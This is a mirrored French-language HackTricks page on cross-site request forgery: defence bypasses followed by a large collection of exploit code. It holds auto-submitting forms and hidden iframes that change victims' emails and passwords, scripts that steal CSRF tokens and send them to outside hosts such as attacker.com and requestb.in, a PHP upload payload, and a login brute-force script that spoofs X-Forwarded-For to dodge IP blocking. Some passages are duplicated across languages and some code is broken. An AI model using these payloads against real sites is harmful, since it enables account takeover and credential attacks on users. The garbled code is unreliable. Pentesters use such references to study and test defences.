mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 09:03:30 +00:00
659 lines
33 KiB
Markdown
659 lines
33 KiB
Markdown
# CSRF (Cross Site Request Forgery)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3**
|
||
|
||
🐞 Lisez les tutoriels sur les bugs web3
|
||
|
||
🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs
|
||
|
||
💬 Participez aux discussions de la communauté
|
||
|
||
## Qu'est-ce que le CSRF ?
|
||
|
||
La **falsification de requête intersite** (également connue sous le nom de CSRF) est une vulnérabilité de sécurité Web qui permet à un attaquant d'**induire les utilisateurs à effectuer des actions qu'ils ne souhaitent pas effectuer**.\
|
||
Cela est fait en **faisant accéder un utilisateur connecté** sur la plateforme victime à un site Web contrôlé par l'attaquant et à partir de là, **exécuter** du code JS malveillant, envoyer des formulaires ou récupérer des "images" sur le **compte de la victime**.
|
||
|
||
### Prérequis
|
||
|
||
Pour pouvoir exploiter une vulnérabilité CSRF, vous devez d'abord **trouver une action pertinente à exploiter** (changer le mot de passe ou l'e-mail, faire suivre la victime sur un réseau social, vous donner plus de privilèges...). La **session doit dépendre uniquement des cookies ou de l'en-tête d'authentification de base HTTP**, aucun autre en-tête ne peut être utilisé pour gérer la session. Enfin, il **ne doit pas y avoir de paramètres imprévisibles** dans la requête.
|
||
|
||
Plusieurs **contre-mesures** peuvent être mises en place pour éviter cette vulnérabilité.
|
||
|
||
### **Défenses courantes**
|
||
|
||
* [**Cookies SameSite**](hacking-with-cookies/#samesite) : Si le cookie de session utilise ce drapeau, vous ne pourrez peut-être pas envoyer le cookie à partir de sites Web arbitraires.
|
||
* [**Partage de ressources entre origines**](cors-bypass.md) : Selon le type de requête HTTP que vous devez effectuer pour exploiter l'action pertinente, vous pouvez tenir compte de la **politique CORS du site victime**. _Notez que la politique CORS n'affectera pas si vous voulez simplement envoyer une requête GET ou une requête POST à partir d'un formulaire et que vous n'avez pas besoin de lire la réponse._
|
||
* Demander à l'utilisateur de saisir le **mot de passe** pour autoriser l'action.
|
||
* Résoudre un **captcha**
|
||
* Lire les en-têtes **Referrer** ou **Origin**. Si une expression régulière est utilisée, elle peut être contournée par exemple avec :
|
||
* http://mal.net?orig=http://example.com (se termine par l'URL)
|
||
* http://example.com.mal.net (commence par l'URL)
|
||
* **Modifier** le **nom** des **paramètres** de la requête Post ou Get
|
||
* Utiliser un **jeton CSRF** dans chaque session. Ce jeton doit être envoyé dans la requête pour confirmer l'action. Ce jeton peut être protégé avec CORS.
|
||
|
||
### Carte CSRF
|
||
|
||
![](<../.gitbook/assets/image (112).png>)
|
||
|
||
## Contournement des défenses
|
||
|
||
### De POST à GET
|
||
|
||
Peut-être que le formulaire que vous voulez exploiter est préparé pour envoyer une **requête POST avec un jeton CSRF mais**, vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET, le **jeton CSRF est toujours validé**.
|
||
|
||
### Absence de jeton
|
||
|
||
Certaines applications **valident correctement le jeton lorsqu'il est présent mais sautent la validation si le jeton est omis**.\
|
||
Dans cette situation, l'attaquant peut **supprimer l'ensemble du paramètre** contenant le jeton (pas seulement sa valeur) pour contourner la validation et effectuer une attaque CSRF.
|
||
|
||
### Le jeton CSRF n'est pas lié à la session utilisateur
|
||
|
||
Certaines applications ne **valident pas que le jeton appartient à la même session** que l'utilisateur qui effectue la demande. Au lieu de cela, l'application **maintient un pool global de jetons** qu'elle a émis et accepte tout jeton qui apparaît dans ce pool.\
|
||
Dans cette situation, l'attaquant peut se connecter à l'application en utilisant son propre compte, **obtenir un jeton valide**, puis **fournir ce jeton à l'utilisateur victime** dans son attaque CSRF.
|
||
|
||
### Contournement de la méthode
|
||
|
||
Si la requête utilise une méthode "**bizarre**", vérifiez si la fonctionnalité de **remplacement de méthode** est en marche.\
|
||
Par exemple, si elle utilise une méthode **PUT**, vous pouvez essayer d'utiliser une méthode **POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||
|
||
Cela peut également fonctionner en envoyant le **paramètre \_method** dans une requête POST ou en utilisant les **en-têtes** :
|
||
|
||
* _X-HTTP-Method_
|
||
* _X-HTTP-Method-Override_
|
||
* _X-Method-Override_
|
||
|
||
### Contournement du jeton d'en-tête personnalisé
|
||
|
||
Si la requête ajoute un **en-tête personnalisé** avec un **jeton** à la requête en tant que méthode de **protection CSRF**, alors :
|
||
|
||
* Testez la requête sans le **jeton personnalisé et également l'en-tête.**
|
||
* Testez la requête avec une **longueur exactement identique mais un jeton différent**.
|
||
|
||
### Le jeton CSRF est vérifié par un cookie
|
||
|
||
Dans une variation ultérieure de la vulnérabilité précédente, certaines applications **dupliquent chaque jeton dans un cookie et un paramètre de requête**. Ou ils **définissent un cookie csrf** et **vérifient dans le backend si le jeton csrf envoyé est celui qui est lié au cookie**.
|
||
|
||
Lorsque la demande suivante est validée, l'application vérifie simplement que le **jeton** soumis dans le **paramètre de requête correspond** à la valeur stockée par le **cookie**.\
|
||
Dans cette situation, l'attaquant peut à nouveau effectuer une **attaque CSRF si le site Web contient une vulnérabilité qui lui permettrait de définir son cookie CSRF sur la victime comme un CRLF**.
|
||
|
||
Dans ce cas, vous pouvez définir le cookie en essayant de charger une fausse image, puis lancer l'attaque CSRF comme dans cet exemple :
|
||
```html
|
||
<html>
|
||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
|
||
<input type="hidden" name="email" value="asd@asd.asd" />
|
||
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% hint style="info" %}
|
||
Notez que si le jeton csrf est lié au cookie de session, cette attaque ne fonctionnera pas car vous devrez définir votre session en tant que victime, et vous vous attaquerez donc vous-même.
|
||
{% endhint %}
|
||
|
||
### Changement de Content-Type
|
||
|
||
Selon [**ceci**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), afin d'**éviter les requêtes préliminaires** en utilisant la méthode **POST**, ces valeurs de Content-Type sont autorisées :
|
||
|
||
* **`application/x-www-form-urlencoded`**
|
||
* **`multipart/form-data`**
|
||
* **`text/plain`**
|
||
|
||
Cependant, notez que la **logique des serveurs peut varier** en fonction du **Content-Type** utilisé, vous devriez donc essayer les valeurs mentionnées et d'autres comme **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||
|
||
Exemple (à partir de [ici](https://brycec.me/posts/corctf\_2021\_challenges)) d'envoi de données JSON en tant que text/plain :
|
||
```html
|
||
<html>
|
||
<body>
|
||
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
|
||
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
|
||
</form>
|
||
<script>
|
||
form.submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Contournement de la requête de pré-vérification pour application/json
|
||
|
||
Comme vous le savez déjà, vous ne pouvez pas envoyer une requête POST avec le Content-Type **`application/json`** via un formulaire HTML, et si vous essayez de le faire via **`XMLHttpRequest`**, une requête de **pré-vérification** est envoyée en premier.\
|
||
Cependant, vous pouvez essayer d'envoyer les données JSON en utilisant les types de contenu **`text/plain`** et **`application/x-www-form-urlencoded`** juste pour vérifier si le backend utilise les données indépendamment du Content-Type.\
|
||
Vous pouvez envoyer un formulaire en utilisant `Content-Type: text/plain` en définissant **`enctype="text/plain"`**
|
||
|
||
Si le serveur n'accepte que le type de contenu "application/json", vous pouvez **envoyer le type de contenu "text/plain; application/json"** sans déclencher de requête de pré-vérification.
|
||
|
||
Vous pouvez également essayer de **contourner** cette restriction en utilisant un **fichier flash SWF**. Pour plus d'informations, [**lisez cet article**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||
|
||
### Contournement de la vérification de Referrer / Origin
|
||
|
||
**Évitez l'en-tête Referrer**
|
||
|
||
Certaines applications valident l'en-tête Referer lorsqu'il est présent dans les requêtes mais **passent outre la validation si l'en-tête est omis**.
|
||
```markup
|
||
<meta name="referrer" content="never">
|
||
```
|
||
**Bypasses Regexp**
|
||
|
||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
Pour définir le nom de domaine du serveur dans l'URL que le Referrer va envoyer dans les paramètres, vous pouvez faire :
|
||
```html
|
||
<html>
|
||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||
<head><meta name="referrer" content="unsafe-url"></head>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
|
||
<input type="hidden" name="email" value="asd@asd.asd" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
// You need to set this or the domain won't appear in the query of the referer header
|
||
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
***
|
||
|
||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3**
|
||
|
||
🐞 Lisez des tutoriels sur les bugs web3
|
||
|
||
🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs
|
||
|
||
💬 Participez aux discussions de la communauté
|
||
|
||
## **Exemples d'exploitation**
|
||
|
||
### **Exfiltration du jeton CSRF**
|
||
|
||
Si un **jeton CSRF** est utilisé comme **défense**, vous pouvez essayer de l'**exfiltrer** en exploitant une vulnérabilité [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection.md).
|
||
|
||
### **GET en utilisant des balises HTML**
|
||
```markup
|
||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||
<h1>404 - Page not found</h1>
|
||
The URL you are requesting is no longer available
|
||
```
|
||
D'autres balises HTML5 qui peuvent être utilisées pour envoyer automatiquement une requête GET sont :
|
||
|
||
![](<../.gitbook/assets/image (530).png>)
|
||
|
||
### Requête GET de formulaire
|
||
```markup
|
||
<html>
|
||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form method="GET" action="https://victim.net/email/change-email">
|
||
<input type="hidden" name="email" value="some@email.com" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Requête POST de formulaire
|
||
```markup
|
||
<html>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
|
||
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
|
||
<input type="submit" value="Submit request" />
|
||
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit(); //Way 3 to autosubmit
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Requête POST de formulaire via iframe
|
||
```markup
|
||
<!--
|
||
The request is sent through the iframe withuot reloading the page
|
||
-->
|
||
<html>
|
||
<body>
|
||
<iframe style="display:none" name="csrfframe"></iframe>
|
||
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
|
||
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### **Requête POST Ajax**
|
||
|
||
---
|
||
|
||
#### **Description**
|
||
|
||
An Ajax POST request is a type of HTTP request that is sent using JavaScript to send data to a server and receive a response without reloading the entire page. This technique is commonly used in web applications to provide a more seamless user experience.
|
||
|
||
#### **Description**
|
||
|
||
Une requête POST Ajax est un type de requête HTTP envoyée à l'aide de JavaScript pour envoyer des données à un serveur et recevoir une réponse sans recharger la page entière. Cette technique est couramment utilisée dans les applications web pour offrir une expérience utilisateur plus fluide.
|
||
```markup
|
||
<script>
|
||
var xh;
|
||
if (window.XMLHttpRequest)
|
||
{// code for IE7+, Firefox, Chrome, Opera, Safari
|
||
xh=new XMLHttpRequest();
|
||
}
|
||
else
|
||
{// code for IE6, IE5
|
||
xh=new ActiveXObject("Microsoft.XMLHTTP");
|
||
}
|
||
xh.withCredentials = true;
|
||
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
|
||
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
|
||
xh.send("username=abcd&status=on");
|
||
</script>
|
||
|
||
<script>
|
||
//JQuery version
|
||
$.ajax({
|
||
type: "POST",
|
||
url: "https://google.com",
|
||
data: "param=value¶m2=value2"
|
||
})
|
||
</script>
|
||
```
|
||
### Requête POST multipart/form-data
|
||
```javascript
|
||
myFormData = new FormData();
|
||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
||
myFormData.append("newAttachment", blob, "pwned.php");
|
||
fetch("http://example/some/path", {
|
||
method: "post",
|
||
body: myFormData,
|
||
credentials: "include",
|
||
headers: {"Content-Type": "application/x-www-form-urlencoded"},
|
||
mode: "no-cors"
|
||
});
|
||
```
|
||
### Requête POST multipart/form-data v2
|
||
```javascript
|
||
var fileSize = fileData.length,
|
||
boundary = "OWNEDBYOFFSEC",
|
||
xhr = new XMLHttpRequest();
|
||
xhr.withCredentials = true;
|
||
xhr.open("POST", url, true);
|
||
// MIME POST request.
|
||
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
|
||
xhr.setRequestHeader("Content-Length", fileSize);
|
||
var body = "--" + boundary + "\r\n";
|
||
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
|
||
body += "Content-Type: " + ctype + "\r\n\r\n";
|
||
body += fileData + "\r\n";
|
||
body += "--" + boundary + "--";
|
||
|
||
//xhr.send(body);
|
||
xhr.sendAsBinary(body);
|
||
```
|
||
### Requête POST de formulaire à partir d'un iframe
|
||
```markup
|
||
<--! expl.html -->
|
||
|
||
<body onload="envia()">
|
||
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
|
||
<input type="text" id="pwd" name="pwd" value="otra nueva">
|
||
</form>
|
||
<body>
|
||
<script>
|
||
function envia(){document.getElementById("formulario").submit();}
|
||
</script>
|
||
|
||
<!-- public.html -->
|
||
<iframe src="2-1.html" style="position:absolute;top:-5000">
|
||
</iframe>
|
||
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
||
```
|
||
### **Vol de jeton CSRF et envoi d'une requête POST**
|
||
|
||
Il est possible de voler le jeton CSRF d'un utilisateur en utilisant une attaque de type XSS ou en accédant à l'historique de navigation de l'utilisateur. Une fois que le jeton a été volé, il peut être utilisé pour envoyer une requête POST malveillante en utilisant l'identité de l'utilisateur légitime.
|
||
|
||
Pour ce faire, l'attaquant doit inclure le jeton CSRF volé dans la requête POST. La requête POST peut être envoyée en utilisant un formulaire HTML ou en utilisant un script JavaScript.
|
||
|
||
Voici un exemple de code JavaScript qui envoie une requête POST malveillante en utilisant le jeton CSRF volé :
|
||
|
||
```javascript
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open("POST", "/transfer", true);
|
||
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
||
xhr.setRequestHeader('X-CSRF-Token', '<jeton-csrf-volé>');
|
||
xhr.onreadystatechange = function() {
|
||
if (xhr.readyState == 4 && xhr.status == 200) {
|
||
alert(xhr.responseText);
|
||
}
|
||
}
|
||
xhr.send("amount=1000&toAccount=123456");
|
||
```
|
||
|
||
Dans cet exemple, le jeton CSRF volé est inclus dans l'en-tête de la requête POST en utilisant la clé `X-CSRF-Token`. Les données de la requête POST sont envoyées dans le corps de la requête en utilisant la méthode `send()`.
|
||
|
||
Il est important de noter que cette attaque ne fonctionnera que si le site Web ne vérifie pas l'origine de la requête. Si le site Web vérifie l'origine de la requête en utilisant des en-têtes HTTP tels que `Origin` ou `Referer`, cette attaque ne fonctionnera pas.
|
||
```javascript
|
||
function submitFormWithTokenJS(token) {
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open("POST", POST_URL, true);
|
||
xhr.withCredentials = true;
|
||
|
||
// Send the proper header information along with the request
|
||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
||
|
||
// This is for debugging and can be removed
|
||
xhr.onreadystatechange = function() {
|
||
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||
//console.log(xhr.responseText);
|
||
}
|
||
}
|
||
|
||
xhr.send("token=" + token + "&otherparama=heyyyy");
|
||
}
|
||
|
||
function getTokenJS() {
|
||
var xhr = new XMLHttpRequest();
|
||
// This tels it to return it as a HTML document
|
||
xhr.responseType = "document";
|
||
xhr.withCredentials = true;
|
||
// true on the end of here makes the call asynchronous
|
||
xhr.open("GET", GET_URL, true);
|
||
xhr.onload = function (e) {
|
||
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||
// Get the document from the response
|
||
page = xhr.response
|
||
// Get the input element
|
||
input = page.getElementById("token");
|
||
// Show the token
|
||
//console.log("The token is: " + input.value);
|
||
// Use the token to submit the form
|
||
submitFormWithTokenJS(input.value);
|
||
}
|
||
};
|
||
// Make the request
|
||
xhr.send(null);
|
||
}
|
||
|
||
var GET_URL="http://google.com?param=VALUE"
|
||
var POST_URL="http://google.com?param=VALUE"
|
||
getTokenJS();
|
||
```
|
||
### **Vol de jeton CSRF et envoi d'une requête Post à l'aide d'un iframe, d'un formulaire et d'Ajax**
|
||
|
||
Dans cette technique, l'attaquant utilise un iframe pour charger la page cible contenant le formulaire vulnérable. Ensuite, l'attaquant utilise JavaScript pour extraire le jeton CSRF du formulaire et l'envoyer à son propre serveur. Enfin, l'attaquant utilise Ajax pour envoyer une requête POST à la page cible en utilisant le jeton CSRF volé.
|
||
|
||
Le code suivant montre comment cette technique peut être mise en œuvre:
|
||
|
||
```html
|
||
<iframe id="target" src="https://example.com/vulnerable-form"></iframe>
|
||
|
||
<script>
|
||
// Wait for the iframe to load
|
||
document.getElementById('target').onload = function() {
|
||
// Extract the CSRF token from the form
|
||
var csrfToken = document.getElementById('target').contentWindow.document.getElementsByName('csrf_token')[0].value;
|
||
|
||
// Send the CSRF token to the attacker's server
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open('POST', 'https://attacker.com/steal-csrf-token');
|
||
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
||
xhr.send('csrf_token=' + csrfToken);
|
||
|
||
// Send a POST request to the vulnerable form using the stolen CSRF token
|
||
var form = document.createElement('form');
|
||
form.setAttribute('method', 'POST');
|
||
form.setAttribute('action', 'https://example.com/vulnerable-form');
|
||
form.innerHTML = '<input type="hidden" name="csrf_token" value="' + csrfToken + '">';
|
||
document.body.appendChild(form);
|
||
form.submit();
|
||
};
|
||
</script>
|
||
```
|
||
|
||
Il est important de noter que cette technique ne fonctionnera que si la page cible autorise les requêtes provenant d'un autre domaine à accéder à son contenu via un iframe.
|
||
```markup
|
||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||
<input type="text" name="username" value="AA">
|
||
<input type="checkbox" name="status" checked="checked">
|
||
<input id="token" type="hidden" name="token" value="" />
|
||
</form>
|
||
|
||
<script type="text/javascript">
|
||
function f1(){
|
||
x1=document.getElementById("i1");
|
||
x1d=(x1.contentWindow||x1.contentDocument);
|
||
t=x1d.document.getElementById("token").value;
|
||
|
||
document.getElementById("token").value=t;
|
||
document.getElementById("form1").submit();
|
||
}
|
||
</script>
|
||
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
|
||
```
|
||
### **Vol de jeton CSRF et envoi d'une requête POST à l'aide d'un iframe et d'un formulaire**
|
||
|
||
Dans cette technique, l'attaquant utilise un iframe pour charger la page cible contenant le formulaire qui sera soumis avec le jeton CSRF volé. Le formulaire est rempli avec les données nécessaires et soumis automatiquement à l'aide de JavaScript. Cette technique est souvent utilisée pour effectuer des actions malveillantes telles que la modification de données ou la suppression de comptes.
|
||
|
||
Pour voler le jeton CSRF, l'attaquant peut utiliser différentes méthodes telles que l'injection de code JavaScript malveillant pour extraire le jeton de la page ou l'utilisation d'une attaque de type XSS pour voler le jeton à partir du cookie de session.
|
||
|
||
Il est important de noter que cette technique peut être détectée et empêchée en utilisant des mesures de sécurité telles que l'utilisation de jetons CSRF avec une durée de vie limitée, l'utilisation de l'attribut SameSite pour les cookies et la mise en place de politiques de sécurité CSP pour empêcher l'exécution de code JavaScript malveillant.
|
||
```markup
|
||
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
||
|
||
<script>
|
||
function read()
|
||
{
|
||
var name = 'admin2';
|
||
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
|
||
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
|
||
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
|
||
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
|
||
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
|
||
document.writeln('</form>');
|
||
document.forms[0].submit.click();
|
||
}
|
||
</script>
|
||
```
|
||
### **Vol de jeton et envoi via 2 iframes**
|
||
|
||
Dans cette technique, nous allons utiliser deux iframes pour voler le jeton d'authentification de l'utilisateur et l'envoyer à notre serveur. Tout d'abord, nous créons deux iframes, l'un pointant vers le site cible et l'autre pointant vers notre serveur. Ensuite, nous utilisons JavaScript pour extraire le jeton d'authentification de l'iframe cible et l'envoyer à notre serveur via l'iframe de notre serveur. Cette technique est efficace car elle ne nécessite pas que l'utilisateur clique sur un lien ou effectue une action spécifique, ce qui la rend difficile à détecter.
|
||
```markup
|
||
<script>
|
||
var token;
|
||
function readframe1(){
|
||
token = frame1.document.getElementById("profile").token.value;
|
||
document.getElementById("bypass").token.value = token
|
||
loadframe2();
|
||
}
|
||
function loadframe2(){
|
||
var test = document.getElementbyId("frame2");
|
||
test.src = "http://requestb.in/1g6asbg1?token="+token;
|
||
}
|
||
</script>
|
||
|
||
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
|
||
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
||
height="600" width="800"></iframe>
|
||
|
||
<iframe id="frame2" name="frame2"
|
||
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
||
height="600" width="800"></iframe>
|
||
<body onload="document.forms[0].submit()">
|
||
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
|
||
<input type="text" name="username" value="z">
|
||
<input type="checkbox" name="status" checked="">
|
||
<input id="token" type="hidden" name="token" value="0000" />
|
||
<button type="submit">Submit</button>
|
||
</form>
|
||
```
|
||
### **POSTSteal du jeton CSRF avec Ajax et envoi d'un post avec un formulaire**
|
||
```markup
|
||
<body onload="getData()">
|
||
|
||
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
|
||
<input type="hidden" name="username" value="root"/>
|
||
<input type="hidden" name="status" value="on"/>
|
||
<input type="hidden" id="findtoken" name="token" value=""/>
|
||
<input type="submit" value="valider"/>
|
||
</form>
|
||
|
||
<script>
|
||
var x = new XMLHttpRequest();
|
||
function getData() {
|
||
x.withCredentials = true;
|
||
x.open("GET","http://google.com?param=VALUE",true);
|
||
x.send(null);
|
||
}
|
||
x.onreadystatechange = function() {
|
||
if (x.readyState == XMLHttpRequest.DONE) {
|
||
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
|
||
document.getElementById("findtoken").value = token;
|
||
document.getElementById("form").submit();
|
||
}
|
||
}
|
||
</script>
|
||
```
|
||
### CSRF avec Socket.IO
|
||
|
||
Socket.IO est une bibliothèque JavaScript qui permet une communication en temps réel entre le client et le serveur. Elle est souvent utilisée pour les applications de chat, les jeux en ligne et les tableaux de bord en temps réel.
|
||
|
||
Lorsque Socket.IO est utilisé dans une application web, il est important de prendre en compte la possibilité d'une attaque CSRF. Les attaquants peuvent utiliser des requêtes WebSocket pour effectuer des actions malveillantes sur le compte de l'utilisateur sans son consentement.
|
||
|
||
Pour se protéger contre les attaques CSRF avec Socket.IO, il est recommandé d'utiliser des jetons CSRF. Les jetons CSRF peuvent être générés côté serveur et envoyés au client lorsqu'il se connecte à l'application. Le client doit ensuite inclure ce jeton dans toutes les requêtes WebSocket qu'il envoie au serveur.
|
||
|
||
Le serveur peut alors vérifier que le jeton CSRF est présent et valide avant de traiter la requête. Si le jeton CSRF est manquant ou invalide, le serveur peut rejeter la requête et empêcher l'attaque CSRF.
|
||
|
||
Il est également recommandé d'utiliser des cookies sécurisés pour stocker les jetons CSRF. Les cookies sécurisés ne peuvent être lus que par des connexions HTTPS, ce qui réduit le risque de vol de jetons CSRF par des attaquants.
|
||
|
||
En résumé, pour se protéger contre les attaques CSRF avec Socket.IO, il est recommandé d'utiliser des jetons CSRF générés côté serveur et stockés dans des cookies sécurisés. Le serveur doit vérifier que le jeton CSRF est présent et valide avant de traiter toute requête WebSocket.
|
||
```markup
|
||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||
<script>
|
||
let socket = io('http://six.jh2i.com:50022/test');
|
||
|
||
const username = 'admin'
|
||
|
||
socket.on('connect', () => {
|
||
console.log('connected!');
|
||
socket.emit('join', {
|
||
room: username
|
||
});
|
||
socket.emit('my_room_event', {
|
||
data: '!flag',
|
||
room: username
|
||
})
|
||
|
||
});
|
||
</script>
|
||
```
|
||
## Brute Force de Connexion CSRF
|
||
|
||
Le code peut être utilisé pour effectuer une Brute Force sur un formulaire de connexion en utilisant un jeton CSRF (il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'IP) :
|
||
```python
|
||
import request
|
||
import re
|
||
import random
|
||
|
||
URL = "http://10.10.10.191/admin/"
|
||
PROXY = { "http": "127.0.0.1:8080"}
|
||
SESSION_COOKIE_NAME = "BLUDIT-KEY"
|
||
USER = "fergus"
|
||
PASS_LIST="./words"
|
||
|
||
def init_session():
|
||
#Return CSRF + Session (cookie)
|
||
r = requests.get(URL)
|
||
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
|
||
csrf = csrf.group(1)
|
||
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
|
||
return csrf, session_cookie
|
||
|
||
def login(user, password):
|
||
print(f"{user}:{password}")
|
||
csrf, cookie = init_session()
|
||
cookies = {SESSION_COOKIE_NAME: cookie}
|
||
data = {
|
||
"tokenCSRF": csrf,
|
||
"username": user,
|
||
"password": password,
|
||
"save": ""
|
||
}
|
||
headers = {
|
||
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
|
||
}
|
||
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
|
||
